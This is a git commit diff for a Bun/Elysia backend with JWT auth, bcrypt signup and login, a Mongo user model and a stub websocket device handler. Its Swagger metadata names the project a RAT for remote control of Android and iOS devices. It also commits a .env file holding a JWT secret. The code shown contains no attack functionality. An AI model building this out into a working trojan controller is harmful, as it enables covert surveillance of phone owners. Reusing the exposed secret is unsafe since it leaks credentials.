Feat: Elysia demo
This commit is contained in:
parent
6d7329653f
commit
ac10b685af
3
.env
Normal file
3
.env
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
PORT_SERVER=3000
|
||||||
|
JWT_SECRET=FnESrpC4GrFFLcBcz4eFN8
|
||||||
|
MONGODB_URI=mongodb://127.0.0.1:29000/?directConnection=true&serverSelectionTimeoutMS=2000&appName=mongosh+2.1.1
|
15
package.json
15
package.json
@ -2,11 +2,20 @@
|
|||||||
"name": "app",
|
"name": "app",
|
||||||
"version": "1.0.50",
|
"version": "1.0.50",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"test": "echo \"Error: no test specified\" && exit 1",
|
"dev": "bun --watch src/index.js",
|
||||||
"dev": "bun run --watch src/index.ts"
|
"build": "bun build src/index.js",
|
||||||
|
"start": "NODE_ENV=production bun src/index.js",
|
||||||
|
"test": "bun test"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"elysia": "latest"
|
"@elysiajs/cors": "^0.8.0",
|
||||||
|
"@elysiajs/jwt": "^0.8.0",
|
||||||
|
"@elysiajs/swagger": "^0.8.3",
|
||||||
|
"@grotto/logysia": "^0.1.1",
|
||||||
|
"bcrypt": "^5.1.1",
|
||||||
|
"elysia": "latest",
|
||||||
|
"elysia-helmet": "^1.0.2",
|
||||||
|
"mongoose": "^8.1.0"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"bun-types": "latest"
|
"bun-types": "latest"
|
||||||
|
7
src/config/mongo.js
Normal file
7
src/config/mongo.js
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
import mongoose from 'mongoose';
|
||||||
|
|
||||||
|
// Connect to the MongoDB database
|
||||||
|
const mongoDBURI = process.env.MONGODB_URI ?? 'mongodb://localhost:27017';
|
||||||
|
|
||||||
|
mongoose.connect(mongoDBURI);
|
||||||
|
export default mongoose;
|
72
src/index.js
Normal file
72
src/index.js
Normal file
@ -0,0 +1,72 @@
|
|||||||
|
import { Elysia, t } from "elysia";
|
||||||
|
import { swagger } from '@elysiajs/swagger';
|
||||||
|
import { cors } from '@elysiajs/cors';
|
||||||
|
import { helmet } from 'elysia-helmet';
|
||||||
|
import { jwt } from '@elysiajs/jwt';
|
||||||
|
import { logger } from '@grotto/logysia';
|
||||||
|
import './config/mongo';
|
||||||
|
|
||||||
|
import { isAuthenticatedHttp, isAuthenticatedWS } from './middleware/jwt';
|
||||||
|
// Routers
|
||||||
|
import authRouter from './modules/auth';
|
||||||
|
import userRouter from './modules/user';
|
||||||
|
|
||||||
|
// Ws
|
||||||
|
import { getDevices } from './ws/device';
|
||||||
|
|
||||||
|
const app = new Elysia()
|
||||||
|
.use(swagger({
|
||||||
|
documentation: {
|
||||||
|
info: {
|
||||||
|
title: "RAT Cypher Company",
|
||||||
|
version: '1.0.0',
|
||||||
|
contact: {
|
||||||
|
name: '@kohdev',
|
||||||
|
url: 'https://t.me/kohdev'
|
||||||
|
},
|
||||||
|
description: "RAT remote android and ios",
|
||||||
|
license: {
|
||||||
|
name: "MIT"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
version: '1.0.0'
|
||||||
|
}))
|
||||||
|
.use(cors(/* your options */))
|
||||||
|
.use(helmet({ /* your options */ }))
|
||||||
|
.use(logger())
|
||||||
|
.use(
|
||||||
|
jwt({
|
||||||
|
name: 'jwt',
|
||||||
|
secret: process.env.JWT_SECRET,
|
||||||
|
})
|
||||||
|
)
|
||||||
|
.get('/', () => {
|
||||||
|
return `Elysia is running at ${app.server?.hostname}:${app.server?.port}`;
|
||||||
|
})
|
||||||
|
// ws dùng hệ thống auth riêng nên không phải đặt trước onBeforeHandle auth của http
|
||||||
|
.ws('/ws', {
|
||||||
|
body: t.Object({
|
||||||
|
type: t.String(),
|
||||||
|
d: t.String(),
|
||||||
|
}),
|
||||||
|
message(ws, message) {
|
||||||
|
switch(message.type) {
|
||||||
|
case 'get-device':
|
||||||
|
getDevices(ws, message.d);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
maxPayloadLength: 1024 * 1024, // 1 MB
|
||||||
|
beforeHandle: ({ headers, jwt, set, store }) => isAuthenticatedWS({ headers, jwt, set, store }),
|
||||||
|
})
|
||||||
|
// không auth
|
||||||
|
.use(authRouter)
|
||||||
|
// auth middleware
|
||||||
|
.onBeforeHandle(isAuthenticatedHttp)
|
||||||
|
// từ router này về sau sẽ được auth
|
||||||
|
.use(userRouter)
|
||||||
|
.listen(process.env.PORT_SERVER);
|
||||||
|
|
||||||
|
console.log(
|
||||||
|
`🦊 Elysia is running at ${app.server?.hostname}:${app.server?.port}`
|
||||||
|
);
|
@ -1,7 +0,0 @@
|
|||||||
import { Elysia } from "elysia";
|
|
||||||
|
|
||||||
const app = new Elysia().get("/", () => "Hello Elysia").listen(3000);
|
|
||||||
|
|
||||||
console.log(
|
|
||||||
`🦊 Elysia is running at ${app.server?.hostname}:${app.server?.port}`
|
|
||||||
);
|
|
40
src/middleware/jwt.js
Normal file
40
src/middleware/jwt.js
Normal file
@ -0,0 +1,40 @@
|
|||||||
|
import UserModel from '../models/User';
|
||||||
|
|
||||||
|
async function isAuthenticatedHttp({ headers, jwt, set }) {
|
||||||
|
const token = (headers.authorization || "").split(" ");
|
||||||
|
|
||||||
|
if (!token[1]) {
|
||||||
|
set.status = 401;
|
||||||
|
return {
|
||||||
|
ok: 0,
|
||||||
|
e: "Unauthorized",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
const { userId } = await jwt.verify(token[1]);
|
||||||
|
if (!userId) {
|
||||||
|
set.status = 401;
|
||||||
|
return {
|
||||||
|
ok: 0,
|
||||||
|
e: "Unauthorized",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
const userByID = await UserModel.findById(userId).lean();
|
||||||
|
set.user = userByID;
|
||||||
|
return {
|
||||||
|
user: userByID,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
async function isAuthenticatedWS({ headers, jwt, set, store }) {
|
||||||
|
const token = (headers.authorization || "").split(" ");
|
||||||
|
|
||||||
|
if (token[1]) {
|
||||||
|
const { userId } = await jwt.verify(token[1]);
|
||||||
|
const userByID = await UserModel.findById(userId).lean();
|
||||||
|
store.user = userByID;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
set.status = 401;
|
||||||
|
throw new Error("Unauthorized WS")
|
||||||
|
}
|
||||||
|
|
||||||
|
export { isAuthenticatedHttp, isAuthenticatedWS }
|
21
src/models/User.js
Normal file
21
src/models/User.js
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
import { Schema, model } from 'mongoose';
|
||||||
|
|
||||||
|
const schema = new Schema(
|
||||||
|
{
|
||||||
|
username: {
|
||||||
|
type: String,
|
||||||
|
required: true,
|
||||||
|
unique: true,
|
||||||
|
},
|
||||||
|
password: {
|
||||||
|
type: String,
|
||||||
|
required: true,
|
||||||
|
select: false, // will not appear in the response
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
timestamps: true,
|
||||||
|
}
|
||||||
|
);
|
||||||
|
|
||||||
|
export default model('user', schema);
|
62
src/modules/auth.js
Normal file
62
src/modules/auth.js
Normal file
@ -0,0 +1,62 @@
|
|||||||
|
import { Elysia, t } from 'elysia';
|
||||||
|
import bcrypt from 'bcrypt';
|
||||||
|
import UserModel from '../models/User';
|
||||||
|
|
||||||
|
const SALTROUNDS = 10;
|
||||||
|
|
||||||
|
const auth = new Elysia({ prefix: '/api/auth' })
|
||||||
|
.guard(
|
||||||
|
{
|
||||||
|
body: t.Object({
|
||||||
|
username: t.String(),
|
||||||
|
password: t.String(),
|
||||||
|
})
|
||||||
|
},
|
||||||
|
(app) => app
|
||||||
|
.post('/createAccount', async ({ body, jwt, set }) => {
|
||||||
|
const { username, password } = body;
|
||||||
|
const passwordHash = bcrypt.hashSync(password, SALTROUNDS);
|
||||||
|
const userCreated = await new UserModel({ username, password: passwordHash }).save();
|
||||||
|
if (userCreated) {
|
||||||
|
const accessToken = await jwt.sign({
|
||||||
|
userId: userCreated._id
|
||||||
|
});
|
||||||
|
set.headers = {
|
||||||
|
'X-Authorization': accessToken,
|
||||||
|
};
|
||||||
|
set.status = 201;
|
||||||
|
return { ok: 1 };
|
||||||
|
}
|
||||||
|
}, {
|
||||||
|
beforeHandle: async ({ body, set }) => {
|
||||||
|
const { username } = body;
|
||||||
|
const isAccountCreated = await UserModel.exists({ username });
|
||||||
|
if (isAccountCreated) {
|
||||||
|
set.status = 400;
|
||||||
|
return {
|
||||||
|
ok: 0,
|
||||||
|
e: "Tên tài khoản đã tồn tại"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.post("/login", async ({ body, set, jwt }) => {
|
||||||
|
const { username, password } = body;
|
||||||
|
const passwordByUsername = await UserModel.findOne({ username }).select('password').lean();
|
||||||
|
const isValidPassword = bcrypt.compareSync(password, passwordByUsername?.password);
|
||||||
|
if (!isValidPassword) {
|
||||||
|
return {
|
||||||
|
ok: 0,
|
||||||
|
e: "Tên tài khoản hoặc mật khẩu không chính xác"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
const accessToken = await jwt.sign({
|
||||||
|
userId: passwordByUsername._id
|
||||||
|
});
|
||||||
|
set.headers = {
|
||||||
|
'X-Authorization': accessToken,
|
||||||
|
};
|
||||||
|
return { ok: 1 };
|
||||||
|
})
|
||||||
|
);
|
||||||
|
export default auth;
|
11
src/modules/user.js
Normal file
11
src/modules/user.js
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
import { Elysia, t } from 'elysia';
|
||||||
|
|
||||||
|
const user = new Elysia({ prefix: '/api/user' })
|
||||||
|
.get("/me", ({ user }) => {
|
||||||
|
return {
|
||||||
|
ok: 1,
|
||||||
|
d: user,
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
export default user;
|
7
src/ws/device.js
Normal file
7
src/ws/device.js
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
async function getDevices(ws, d) {
|
||||||
|
const { data: { store } } = ws;
|
||||||
|
console.log(store);
|
||||||
|
ws.send({ d });
|
||||||
|
}
|
||||||
|
|
||||||
|
export { getDevices };
|
Loading…
x
Reference in New Issue
Block a user